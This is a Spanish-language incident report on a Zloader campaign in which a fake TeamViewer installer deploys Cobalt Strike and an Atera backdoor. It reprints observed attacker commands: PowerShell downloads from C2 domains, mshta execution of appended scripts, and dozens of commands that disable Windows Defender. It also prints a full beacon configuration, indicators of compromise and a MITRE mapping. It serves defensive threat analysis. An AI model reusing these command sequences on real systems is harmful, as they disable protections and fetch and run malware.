Zloader instala puertas traseras de acceso remoto y Cobalt Strike

Zloader es un troyano bancario con vínculos históricos con el malware Zeus. Recientemente, las filiales de ransomware Egregor y Ryuk utilizaron Zloader como punto de entrada inicial. Zloader presentaba capacidades de acceso remoto VNC y se ofreció en el foro de ciberdelincuencia de habla rusa exploit[.]in.

Zloader infecta a los usuarios aprovechando publicidad web maliciosa para redirigir a los usuarios a descargas de archivos MSI maliciosos. Durante el año pasado, los archivos MSI de Zloader se disfrazaron como instaladores para aplicaciones de trabajo remoto como Zoom, TeamViewer y Discord.

Sophos Managed Threat Response Team detectó y respondió recientemente a una campaña de Zloader que entregó CobaltStrike e instaló Atera Agent para acceso remoto permanente. MTR observó que Zloader aprovechaba una vulnerabilidad conocida en Windows que permitía agregar contenido de script malicioso a archivos firmados digitalmente proporcionados por Microsoft, CVE-2013-3900. En el último mes, otras dos organizaciones han compartido investigaciones relacionadas con esta campaña. Checkpoint publicó por primera vez detalles sobre cómo Zloader abusa de CVE-2013-3900. Poco después, Walmart GlobalTech detalló la investigación sobre esta campaña de ataque, incluidos sus hallazgos de que “las infecciones se encuentran principalmente en los EEUU y Europa”. Dadas las observaciones únicas de Sophos con respecto al acceso inicial y la baliza CobaltStrike desplegada, queríamos publicar nuestra correspondiente investigación.

Cronología de eventos

19:29

El viernes 10 de diciembre, un usuario de una empresa automotriz estadounidense intentó instalar una herramienta de acceso remoto en su ordenador mediante la búsqueda en Google de “descarga de TeamViewer”. Desafortunadamente, este usuario hizo clic accidentalmente en un anuncio malicioso, descargó y luego ejecutó un paquete de instalación malicioso llamado TeamViewer.msi.

La descarga maliciosa se realizó utilizando el dominio teamviewer-u[.]com. Este dominio de comando y control compartía la misma dirección IP de alojamiento que el dominio zoomvideoconference[.]com de Zloader en el momento de nuestro análisis.

19:30

Cuando se ejecutó el TeamViewer.msi descargado, escribió en el disco un ejecutable malicioso llamado internal.exe. El ejecutable malicioso se lanzó en paralelo a la aplicación legítima de TeamViewer:

"C:\Program Files (x86)\TeamViewer Germany GmbH\TeamViewer\internal.exe
"C:\Program Files (x86)\TeamViewer Germany GmbH\TeamViewer\TeamViewer_Service.exe

internal.exe lanzó un script de instalación que descargó y ejecutó malware adicional desde un servidor de comando y control de Zloader, clouds222[.]com.

cmd.exe /C C:/Users/User/AppData/Roaming/internal/launch.bat
powershell Invoke-WebRequest  https[://]clouds222[.]com/t1m/index/processingSetRequestBat2/?servername=msi -OutFile flash.bat
C:\Windows\System32\cmd.exe" /c C:\Users\User\AppData\Roaming\internal\flash.bat

El script descargado flash.bat ejecutó un script VBS diseñado para eludir el control de la aplicación del usuario y elevar los privilegios del atacante.

"C:\WINDOWS\system32\cacls.exe" "C:\WINDOWS\system32\config\system"
"C:\WINDOWS\System32\WScript.exe" "C:\Users\User\AppData\Local\Temp\getadmin.vbs"

19:31

Luego, flash.bat se ejecutó por segunda vez, pero esta vez se aprovechó para descargar cargas útiles y herramientas adicionales de clouds222[.]com.

powershell Invoke-WebRequest https[:]//clouds222[.]com/t1m/index/processingSetRequestBat3/?servername=msi -OutFile appContast.dll
powershell Invoke-WebRequest https[:]//clouds222[.]com/t1m/index/processingSetRequestBat4/?servername=msi -OutFile flashupdate.ps1
PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& './flashupdate.ps1'"
ping 127.0.0.1 -n 3
cmd /c del "C:\Users\User\AppData\Roaming\internal\flash.bat"
PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& './flashupdate.ps1'"

Aproximadamente dos minutos después de la ejecución inicial del malware MSI, se ejecutó el archivo descargado flashupdate.ps1. Este script contenía funcionalidad para instalar GnuPg y descifrar las cargas útiles.

"C:\WINDOWS\System32\Wbem\WMIC.exe" computersystem get domain
"C:\WINDOWS\system32\ARP.EXE" -a
"C:\Users\User\AppData\Roaming\gpg4win-2.2.5.exe" /S
"C:\WINDOWS\system32\cmd.exe /c ""C:\Users\User\AppData\Roaming\ais.bat""

El script de PowerShell flashupdate.ps1 ejecutó otro script posterior a la explotación ais.bat. Este script por lotes aprovechó commandaadmin[.]com para descargar una copia renombrada de la herramienta NSudo, un programa del que los ciberdelincuentes usan habitualmente para ejecutar procesos con privilegios elevados (TrustedInstaller). El script usó reg.exe para alterar varias claves de registro para evadir la detección, como la supresión de notificaciones para Windows Defender. Bcdedit.exe se usa para deshabilitar la reparación de inicio de Windows antes de deshabilitar Windows Defender a través de ‘sc config’. Se sospecha que ais.bat se deriva de un script de código abierto llamado “Defeat-Defender” que afirma “desmantelar la protección completa de Windows Defender” en función de las similitudes en los comandos observados.

powershell Invoke-WebRequest https[:]//commandaadmin[.]com/adminpriv.exe -OutFile adminpriv.exe
adminpriv -U:T -ShowWindowMode:Hide reg add "HKLM\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d "1" /f
adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d "1" /f
adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableCMD" /t REG_DWORD /d "1" /f
adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRegistryTools" /t REG_DWORD /d "1" /f
adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d "1" /f
powershell.exe -command "Add-MpPreference -ExclusionExtension ".bat""
adminpriv -U:T -ShowWindowMode:Hide bcdedit /set {default} recoveryenabled No
adminpriv -U:T -ShowWindowMode:Hide bcdedit /set {default} bootstatuspolicy ignoreallfailures
adminpriv -U:T sc config WinDefend start= disabled
powershell Invoke-WebRequest https[:]//commandaadmin[.]com/auto.bat -OutFile auto.bat

Las cargas descargadas appContast.dll y apiicontrast.dl aprovechan una vulnerabilidad conocida en Windows, CVE-2013-3900. Esto permitió a Zloader agregar contenido de script malicioso a un archivo firmado digitalmente por Microsoft. El contenido del script adjunto se ejecuta utilizando el binario de Windows mshta.exe.

cmd /c C:\Windows\System32\mshta.exe C:\Users\User\AppData\Roaming\appContast.dll
cmd /c C:\Windows\System32\mshta.exe C:\Users\User\AppData\Roaming\apiicontrast.dll

Se observaron comandos de evasión de defensa adicionales cuando se ejecutó appContrast.dll. Se aprovechó PowerShell para manipular los módulos de Windows Defender:

Add-MpPreference -ExclusionPath 'C:\Users\User\AppData\Roaming'
Add-MpPreference -ExclusionPath 'C:\Users\User\AppData\Roaming*'
Add-MpPreference -ExclusionPath 'C:\Users\User\AppData\Roaming\*'
Add-MpPreference -ExclusionPath 'C:\Users\User\*'
Add-MpPreference -ExclusionPath 'C:\Users\User'
Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\*'
Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\'
Set-MpPreference -MAPSReporting 0
Add-MpPreference -ExclusionProcess 'regsvr32'
Add-MpPreference -ExclusionProcess 'powershell.exe'
Add-MpPreference -ExclusionExtension '.exe'
Add-MpPreference -ExclusionProcess 'regsvr32*'
Add-MpPreference -ExclusionProcess '.dll'
Add-MpPreference -ExclusionProcess '*.dll'
Set-MpPreference -PUAProtection disable
Set-MpPreference -EnableControlledFolderAccess Disabled
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableBehaviorMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisablePrivacyMode $true
Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
Set-MpPreference -DisableArchiveScanning $true
Set-MpPreference -DisableIntrusionPreventionSystem $true
Set-MpPreference -DisableScriptScanning $true
Set-MpPreference -SubmitSamplesConsent 2
Add-MpPreference -ExclusionProcess '*.exe'
Add-MpPreference -ExclusionProcess 'explorer.exe'
Add-MpPreference -ExclusionProcess '.exe'
Set-MpPreference -HighThreatDefaultAction 6 -Force
Set-MpPreference -ModerateThreatDefaultAction 6
Set-MpPreference -LowThreatDefaultAction 6
Set-MpPreference -SevereThreatDefaultAction 6
Set-MpPreference -ScanScheduleDay 8
Add-MpPreference -ExclusionProcess 'msiexec.exe'
Add-MpPreference -ExclusionProcess 'rundll32.exe'
Add-MpPreference -ExclusionProcess 'rundll32*'

Cuando apiicontrast.dll se ejecuta con MSHTA, se inicia un script de suspensión de VBS antes del descifrado y la ejecución de una carga útil de Cobalt Strike, zoom.dll. El usuario de Twitter @nao_sec observó por primera vez que esta contraseña de descifrado de GPG estaba asociada a Zloader el 28 de noviembre.

"C:\WINDOWS\System32\WScript.exe" "C:\Users\User\AppData\Local\Temp\WScriptSleeper.vbs" 45000
"C:\Windows\System32\cmd.exe" /c PowerShell -NoProfile -ExecutionPolicy Bypass -command Import-Module GnuPg; Remove-Encryption -FolderPath C:\Users\User\AppData\Roaming -Password 'bibigroup'
"C:\Windows\System32\cmd.exe" /c rundll32.exe zoom2.dll DllRegisterServer
"C:\Windows\System32\cmd.exe" /c zoom1.msi
"C:\Windows\System32\cmd.exe" /c regsvr32 zoom.dll

Al mismo tiempo, msiexec instaló una puerta trasera de acceso remoto a través de AteraAgent. Los afiliados de ransomware vinculados al ransomware Conti emplean con frecuencia AteraAgent y otras herramientas de acceso remoto.

"C:\Program Files (x86)\TeamViewer Germany GmbH\TeamViewer\internal.exe"
"C:\Program Files (x86)\ATERA Networks\AteraAgent\AteraAgent.exe" /i /IntegratorLogin="milliesoho@yahoo.com" /CompanyId="1" /IntegratorLoginUI="" /CompanyIdUI="" /FolderId="" /AccountId=""
NET STOP AteraAgent
taskkill /f /im AteraAgent.exe
"C:\Program Files (x86)\ATERA Networks\AteraAgent\AteraAgent.exe" /u
"C:\Program Files\ATERA Networks\AteraAgent\AteraAgent.exe" /i /IntegratorLogin="" /CompanyId="" /IntegratorLoginUI="" /CompanyIdUI=""

La carga útil Zoom.dll de Cobalt Strike descifrada intenta comunicarse con el servidor C2 sdilok[.]com/jquery-3[.]3[.]1[.]min[.]js usando la configuración BEACON que mostramos a continuación.

{
    "BeaconType": [
        "HTTP"
    ],
    "Port": 80,
    "SleepTime": 5000,
    "MaxGetSize": 1403644,
    "Jitter": 10,
    "PublicKey": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCEEz909XdV3PkUiLxDGpWVdPD3B4EbAj5EfUWeabGyL6L
tDBTgG0rgRmafGGYCCaNU51WT4X9vu0vpXJvm+j0xmQcd3oy3ZmJfZpmNvgjGMYi4O077
fl7Mda1Q+plqpnJ3Oi8Mv5VIccWGfuPbRq8dLT38rkb20IVTCYnrle/AHQIDAQABAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==",
    "PublicKey_MD5": "c60a248cc3e3ad52088035b21bf170a4",
    "C2Server": "sdilok.com,/jquery-3.3.1.min.js",
    "UserAgent": "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko",
    "HttpPostUri": "/jquery-3.3.2.min.js",
    "Malleable_C2_Instructions": [
        "Remove 1522 bytes from the end",
        "Remove 84 bytes from the beginning",
        "Remove 3931 bytes from the beginning",
        "Base64 URL-safe decode",
        "XOR mask w/ random key"
    ],
    "HttpGet_Metadata": {
        "ConstHeaders": [
            "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Referer: http://code.jquery.com/",
            "Accept-Encoding: gzip, deflate"
        ],
        "ConstParams": [],
        "Metadata": [
            "base64url",
            "prepend \"__cfduid=\"",
            "header \"Cookie\""
        ],
        "SessionId": [],
        "Output": []
    },
    "HttpPost_Metadata": {
        "ConstHeaders": [
            "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Referer: http://code.jquery.com/",
            "Accept-Encoding: gzip, deflate"
        ],
        "ConstParams": [],
        "Metadata": [],
        "SessionId": [
            "mask",
            "base64url",
            "parameter \"__cfduid\""
        ],
        "Output": [
            "mask",
            "base64url",
            "print"
        ]
    },
    "SpawnTo": "AAAAAAAAAAAAAAAAAAAAAA==",
    "SSH_Banner": "",
    "HttpGet_Verb": "GET",
    "HttpPost_Verb": "POST",
    "HttpPostChunk": 0,
    "Spawnto_x86": "%windir%\\syswow64\\dllhost.exe",
    "Spawnto_x64": "%windir%\\sysnative\\dllhost.exe",
    "CryptoScheme": 0,
    "Proxy_Behavior": "Use IE settings",
    "Watermark": 0,
    "bStageCleanup": "True",
    "bCFGCaution": "False",
    "KillDate": 0,
    "bProcInject_StartRWX": "False",
    "bProcInject_UseRWX": "False",
    "bProcInject_MinAllocSize": 17500,
    "ProcInject_PrependAppend_x86": [
        "kJA=",
        "Empty"
    ],
    "ProcInject_PrependAppend_x64": [
        "kJA=",
        "Empty"
    ],
    "ProcInject_Execute": [
        "ntdll:RtlUserThreadStart",
        "CreateThread",
        "NtQueueApcThread-s",
        "CreateRemoteThread",
        "RtlCreateUserThread"
    ],
    "ProcInject_AllocationMethod": "NtMapViewOfSection",
    "ProcInject_Stub": "Ms1B7fCBDFtfSY7fRzHMbQ==",
    "bUsesCookies": "True",
    "HostHeader": "",
    "smbFrameHeader": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
    "tcpFrameHeader": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
    "DNS_strategy": "round-robin",
    "DNS_strategy_rotate_seconds": -1,
    "DNS_strategy_fail_x": -1,
    "DNS_strategy_fail_seconds": -1
}

Respuesta y Reparación

19:34

Sophos EDR/XDR detecta la carga útil de Cobalt Strike en la memoria como “C2_6a T1071.001 mem/cobalt-d” y toma medidas automáticamente para finalizar el proceso malicioso rundll32.exe y limpiar la carga útil de Cobalt Strike del disco.

19:35

El equipo de Respuesta a amenazas gestionadas de Sophos ha creado una investigación para los comandos sospechosos y una detección de Cobalt Strike. Cobalt Strike es un agente de acceso remoto muy utilizado por los adversarios y es un precursor común de la actividad de ransomware.

19:37

Un analista de Sophos MTR comenzó a responder al caso solo seis minutos después de la ejecución inicial del malware. El equipo de MTR aisló el host afectado para evitar más conectividad de red mientras respondía. Durante la investigación, el equipo de MTR colaboró ​​estrechamente con SophosLabs para tomar las medidas necesarias de inmediato para ayudar a proteger a los clientes de Sophos en general. MTR deshabilitó la puerta trasera de Atera y colaboró ​​con el cliente afectado para limitar con éxito el impacto a un dispositivo de estación de trabajo.

Indicadores de compromiso

Indicador Tipo
teamviewer-u[.]com Comando y control
zoomvideoconference[.]com Comando y control
https[:]//sdilok[.]com/jquery-3.3.1.min.js Comando y control: Cobalt Strike
https[:]//clouds222[.]com Comando y control
https[:]//commandaadmin[.]com Comando y control
a187d9c0b4bdb4d0b5c1d2bdbcb65090dcee5d8c Archivo – ‘TeamViewer.msi’
3eda16e4d60e1a79ad97fc1d195ccbe5d97e699f Archivo – ‘auto.bat’
f4879eb2c159c4e73139d1ac5d5c8862af8f1719 Archivo – ‘internal.exe
3a80a49efaac5d839400e4fb8f803243fb39a513 Archivo – ‘adminpriv.exe’
5c59ef0d8c0919082128e98a757d844c0ace54e3 Archivo – ‘ais.bat’
23136ecb2edb263db390b6b9fcf9000ff23441a9 Archivo – ‘appContast.dll’
5912bfbd07dec5dd7798e7cb413299c788a8fd9e Archivo – ‘flashupdate.ps1’
5ec4ba41b2066654d8e0dfd0aea770197ad2f21c Archivo – ‘zoom1.msi.gpg’
b350b770b8b79ffb16574d59e4ca4fafacca19cd Archivo – ‘zoom1.msi’
41a47cc8807121cac19597bc0455084e714604bc Archivo – ‘zoom2.dll.gpg’
2c15d43aab71465c9308e0cc306339925d47dea3 Archivo – ‘zoom2.dll’

Mapeo MITRE ATT&CK

Táctica MITRE Técnica MITRE
Acceso inicial T1189 – Compromiso de paso
Ejecución T1059 – Intérprete de comandos y secuencias de comandos
T1204 – Ejecución del usuario
Persistencia T1543 – Crear o modificar el proceso del sistema
Escalada de privilegios T1055 – Inyección de proceso
T1548 – Mecanismo de Control de Elevación de Abuso
Evasión de defensa T1218 – Ejecución de proxy binario firmadoT1562 – Deterioro de las defensas
T1036 – Enmascaramiento
T1140 – Desofuscar/ Decodificar archivos o información
Comando & Control T1219 – Software de acceso remoto
T1071 – Protocolo de capa de aplicación: Protocolos web
Descubrimiento T1482 – Descubrimiento de confianza de dominio
Exfiltración T1041 – Exfiltración sobre el canal C&C

 

Escrito e investigado por Colin Cowie con el apoyo de Stan Andic y el equipo MTR de Sophos.